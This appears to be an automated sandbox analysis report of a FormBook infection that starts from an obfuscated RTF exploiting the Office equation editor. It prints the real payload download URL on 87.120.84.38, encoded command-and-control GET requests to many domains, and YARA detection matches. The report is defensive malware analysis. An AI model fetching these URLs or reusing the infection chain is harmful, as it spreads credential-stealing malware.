Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: C:\Windows\explorer.exe Code function: 9_2_08CDDF82 getaddrinfo,setsockopt,recv, 9_2_08CDDF82
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E7B21753-11AB-4008-8617-6E8AEEEB606B}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /txt/4q0pGnqqpgTTSL7.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.120.84.38Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /btrd/?dnpxPL=MPO8Ot&NPY8=AbeIgGnzBU83HSXrQkpvN+QaXMHa/Smw3FQvIGYyvMJrWwYzMis5HD6DdthggtUmTF7mFQ== HTTP/1.1Host: www.thecareskin.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /btrd/?NPY8=Aqp/nEdW5fSRgBppOcSBDZbXY4IaYVD9lzqE2utQjmbccywWz39dK6w1iF5Po1lTCoAGbA==&dnpxPL=MPO8Ot HTTP/1.1Host: www.fcno30.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic DNS traffic detected: DNS query: www.education2jobs.com
Source: global traffic DNS traffic detected: DNS query: www.lifeofthobes.uk
Source: global traffic DNS traffic detected: DNS query: www.thecareskin.com
Source: global traffic DNS traffic detected: DNS query: www.opmk.monster
Source: global traffic DNS traffic detected: DNS query: www.affirmationtotebags.com
Source: global traffic DNS traffic detected: DNS query: www.mbbwa4wp.cfd
Source: global traffic DNS traffic detected: DNS query: www.fcno30.com
Source: global traffic DNS traffic detected: DNS query: www.ko-or-a-news.com
Source: global traffic DNS traffic detected: DNS query: www.launchyouglobal.com
Source: global traffic DNS traffic detected: DNS query: www.trygenesisx.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 30 Oct 2024 07:40:34 GMTserver: LiteSpeedstrict-transport-security: max-age=63072000; includeSubDomainsx-frame-options: SAMEORIGINx-content-type-options: nosniffData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background
Source: EQNEDT32.EXE, 00000002.00000002.408279812.00000000008DF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/4q0pGnqqpgTTSL7.exe
Source: EQNEDT32.EXE, 00000002.00000002.408279812.00000000008DF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/4q0pGnqqpgTTSL7.exeC:
Source: EQNEDT32.EXE, 00000002.00000002.408279812.00000000008DF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/4q0pGnqqpgTTSL7.exej
Source: EQNEDT32.EXE, 00000002.00000002.408279812.00000000008DF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/4q0pGnqqpgTTSL7.exettC:
Source: explorer.exe, 00000009.00000000.420803319.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.928404044.00000000001D6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://java.sun.com
Source: ihbgfbin.exe, 00000005.00000002.421951115.0000000002524000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.affirmationtotebags.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.affirmationtotebags.com/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.affirmationtotebags.com/btrd/www.mbbwa4wp.cfd
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.affirmationtotebags.comReferer:
Source: explorer.exe, 00000009.00000000.420803319.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.928404044.00000000001D6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.docemimocasamentos.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.docemimocasamentos.com/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.docemimocasamentos.com/btrd/www.solarcyborg.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.docemimocasamentos.comReferer:
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.education2jobs.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.education2jobs.com/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.education2jobs.com/btrd/www.lifeofthobes.uk
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.education2jobs.comReferer:
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.fcno30.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.fcno30.com/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.fcno30.com/btrd/www.ko-or-a-news.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.fcno30.comReferer:
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.gynlkj.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.gynlkj.com/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.gynlkj.com/btrd/www.docemimocasamentos.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.gynlkj.comReferer:
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.jejeesclothing.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.jejeesclothing.com/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.jejeesclothing.com/btrd/www.nashexshop.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.jejeesclothing.comReferer:
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.ko-or-a-news.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.ko-or-a-news.com/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.ko-or-a-news.com/btrd/www.launchyouglobal.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.ko-or-a-news.comReferer:
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.launchyouglobal.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.launchyouglobal.com/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.launchyouglobal.com/btrd/www.trygenesisx.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.launchyouglobal.comReferer:
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.lifeofthobes.uk
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.lifeofthobes.uk/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.lifeofthobes.uk/btrd/www.thecareskin.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.lifeofthobes.ukReferer:
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.martline.website
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.martline.website/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.martline.website/btrd/www.affirmationtotebags.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.martline.websiteReferer:
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.mbbwa4wp.cfd
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.mbbwa4wp.cfd/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.mbbwa4wp.cfd/btrd/www.fcno30.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.mbbwa4wp.cfdReferer:
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.nashexshop.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.nashexshop.com/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.nashexshop.com/btrd/www.gynlkj.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.nashexshop.comReferer:
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.opmk.monster
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.opmk.monster/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.opmk.monster/btrd/www.martline.website
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.opmk.monsterReferer:
Source: explorer.exe, 00000009.00000000.421850492.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.422336388.0000000007524000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.928878903.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.929382715.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.421597302.000000000260E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000009.00000000.421850492.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.422336388.0000000007524000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.928878903.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.929382715.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.421597302.000000000260E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000009.00000002.928878903.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.421597302.000000000260E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerxe
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.solarcyborg.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.solarcyborg.com/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.solarcyborg.com/btrd/PUS
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.solarcyborg.comReferer:
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.thecareskin.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.thecareskin.com/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.thecareskin.com/btrd/www.opmk.monster
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.thecareskin.comReferer:
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.trygenesisx.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.trygenesisx.com/btrd/
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.trygenesisx.com/btrd/www.jejeesclothing.com
Source: explorer.exe, 00000009.00000002.929866992.0000000007524000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.trygenesisx.comReferer:
Source: explorer.exe, 00000009.00000000.420803319.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.928404044.00000000001D6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: explorer.exe, 00000009.00000000.420803319.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.928404044.00000000001D6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000009.00000000.420803319.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.928404044.00000000001D6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
Contains functionality to record screenshots
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0093AC37 LoadImageW,memset,GetObjectW,LoadImageW,memset,GetObjectW,LoadImageW,memset,GetObjectW,GetClientRect,GetWindowDC,CreateCompatibleBitmap,CreateCompatibleDC,CreateCompatibleDC,CreateCompatibleDC,SelectPalette,SelectPalette,RealizePalette,SelectObject,SelectObject,BitBlt,SelectObject,SelectObject,StretchBlt,SelectObject,SelectObject,BitBlt,SelectObject,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,DrawIconEx,SelectObject,SelectPalette,SelectPalette,DeleteDC,DeleteDC,DeleteDC,ReleaseDC,GetLastError,DeleteObject,DeleteObject,DeleteObject,DeleteObject, 10_2_0093AC37

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 0000000A.00000002.928364995.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.928452620.0000000000410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.429526201.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.928419013.0000000000390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.422078924.0000000003D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary
barindex
Initial sample is an obfuscated RTF file
Source: initial sample Static file information: Filename: na.doc
Malicious sample detected (through community Yara rule)
Source: na.doc, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 7.2.ihbgfbin.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Diceloader_15eeb7b9 Author: unknown
Source: 00000007.00000002.429564414.000000000041F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Diceloader_15eeb7b9 Author: unknown
Source: 0000000A.00000002.928364995.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Diceloader_15eeb7b9 Author: unknown
Source: 0000000A.00000002.928364995.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.928364995.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.928364995.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.928452620.0000000000410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Diceloader_15eeb7b9 Author: unknown
Source: 0000000A.00000002.928452620.0000000000410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.928452620.0000000000410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.928452620.0000000000410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.429526201.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Diceloader_15eeb7b9 Author: unknown
Source: 00000007.00000002.429526201.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.429526201.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.429526201.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.928419013.0000000000390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Diceloader_15eeb7b9 Author: unknown
Source: 0000000A.00000002.928419013.0000000000390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.928419013.0000000000390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.928419013.0000000000390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.422078924.0000000003D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Diceloader_15eeb7b9 Author: unknown
Source: 00000005.00000002.422078924.0000000003D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.422078924.0000000003D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.422078924.0000000003D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: ihbgfbin.exe PID: 3736, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: ihbgfbin.exe PID: 3824, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: mstsc.exe PID: 3948, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\ihbgfbin.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\4q0pGnqqpgTTSL7[1].exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\mstsc.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Contains functionality to call native functions
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001B4924 NtQueryInformationProcess, 5_2_001B4924
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001B891E NtQueryInformationProcess, 5_2_001B891E
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D600C4 NtCreateFile,LdrInitializeThunk, 7_2_00D600C4
